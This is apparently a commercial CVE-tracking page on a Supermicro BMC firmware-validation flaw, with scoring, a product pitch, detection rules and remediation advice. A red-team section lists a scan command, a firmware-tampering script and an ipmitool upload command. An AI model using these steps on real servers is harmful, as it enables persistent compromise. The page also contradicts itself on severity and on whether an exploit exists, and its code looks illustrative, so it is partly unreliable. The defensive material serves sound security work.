☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Supermicro logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-345
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12006

CVE-2025-12006 Supply Chain Attack in Supermicro
📅 PUBLISHED: 2026-01-16 08:36 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12006 is a critical vulnerability in Supermicro BMC firmware validation logic, specifically affecting the MBD-X12STW-F motherboard. The flaw allows an attacker to bypass firmware integrity checks and update the system with a specially crafted malicious image. With a CVSS score of 7.2, this vulnerability poses a high risk to confidentiality, integrity, and availability. The lack of a known patch or public exploit increases the urgency for defensive measures.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in Supermicro BMC, which is a critical component in server infrastructure.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The threat level is High due to the low attack complexity and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the firmware validation logic of the Supermicro BMC (Baseboard Management Controller) on the MBD-X12STW-F motherboard. The BMC is responsible for remote management, including firmware updates. The validation logic fails to properly verify the authenticity and integrity of firmware images before applying them.

An attacker can craft a malicious firmware image that bypasses the checksum or signature verification. Once the malicious firmware is loaded, the attacker gains persistent control over the BMC, enabling them to:

  • Execute arbitrary code on the host system.
  • Manipulate sensor readings.
  • Disable or alter system boot processes.
  • Exfiltrate sensitive data.

The attack is network-based, requiring no authentication, making it exploitable from the local network or potentially the internet if the BMC is exposed.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerability likely involves a flaw in the firmware update validation function. A typical vulnerable implementation might look like:

// Vulnerable: No signature verification
int update_firmware(uint8_t *image, size_t size) {
    if (checksum(image, size) == 0) {
        write_flash(image, size);
        return 0;
    }
    return -1;
}

A patched version would include cryptographic signature verification:

// Patched: Verify RSA signature
int update_firmware(uint8_t *image, size_t size, uint8_t *signature) {
    if (rsa_verify(image, size, signature, public_key) == 0) {
        write_flash(image, size);
        return 0;
    }
    return -1;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to the BMC network interface (e.g., IPMI port 623).
  • A tool to craft malicious firmware images (e.g., modified Supermicro firmware).

Steps:

  1. Scan for Supermicro BMCs on the network:
    nmap -p 623 --script ipmi-version -sU <target>
    
  2. Identify the target BMC and its firmware version.
  3. Craft a malicious firmware image that bypasses validation:
    # Example: Modify checksum to pass validation
    import struct
    with open('legit.bin', 'rb') as f:
        data = bytearray(f.read())
    # Inject payload at offset 0x1000
    payload = b'\x90\x90\x90\x90'  # NOP sled
    data[0x1000:0x1000+len(payload)] = payload
    # Recalculate checksum (vulnerable logic)
    checksum = sum(data) & 0xFF
    data[-1] = checksum
    with open('malicious.bin', 'wb') as f:
        f.write(data)
    
  4. Upload the malicious firmware via IPMI:
    ipmitool -H <BMC_IP> -U admin -P password raw 0x06 0x52 < malicious.bin
    
  5. The BMC reboots with the malicious firmware, granting persistent access.

Blue Team

Detection:

  • Monitor for unexpected firmware update requests to the BMC.
  • Alert on IPMI commands that modify firmware (e.g., raw command 0x06 0x52).
  • Use network segmentation to isolate BMC interfaces from untrusted networks.

Hunting:

  • Check BMC logs for failed or successful firmware update attempts.
  • Verify the integrity of current BMC firmware against known good hashes.
  • Look for anomalous network traffic to/from the BMC on port 623.

Indicators of Compromise (IOCs)

  • Network: IPMI traffic to/from unknown IPs on UDP port 623.
  • File: Modified firmware images with unusual checksums or signatures.
  • Process: Unexpected processes running on the BMC (if accessible).
  • Log: BMC logs showing firmware update events without proper authentication.

Detection Engineering

YARA Rule

rule Supermicro_BMC_Malicious_Firmware {
    meta:
        description = "Detects malicious firmware images targeting Supermicro BMC CVE-2025-12006"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-12006"
    strings:
        $magic = { 53 55 50 45 52 4D 49 43 52 4F } // "SUPERMICRO" header
        $payload = { 90 90 90 90 } // NOP sled example
    condition:
        $magic at 0 and #payload > 5
}

Sigma Rule

title: Supermicro BMC Firmware Update via IPMI
id: 8f4a3b2c-1d2e-3f4a-5b6c-7d8e9f0a1b2c
status: experimental
description: Detects IPMI raw commands used to update firmware on Supermicro BMC
author: Valters IT
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4688
        ProcessName: '*ipmitool*'
        CommandLine: '*raw 0x06 0x52*'
    condition: selection
falsepositives:
    - Legitimate firmware updates by authorized personnel
level: high

Suricata Rule

alert udp any any -> any 623 (msg:"Supermicro BMC Firmware Update Attempt"; content:"|06 52|"; offset:0; depth:2; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate BMC interfaces to a dedicated management VLAN with strict access controls.
  2. Disable IPMI over LAN if not required.
  3. Monitor for any firmware update attempts and alert on anomalies.

Long-term:

  1. Apply firmware patches from Supermicro as soon as they become available.
  2. Implement hardware-based attestation to verify BMC firmware integrity.
  3. Use network intrusion detection systems to detect IPMI exploitation attempts.

Workarounds:

  • If patching is not possible, consider replacing the affected motherboard with a non-vulnerable model.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Supermicro BMC
Supermicro X12STW-F
Supermicro IPMI

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12006/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.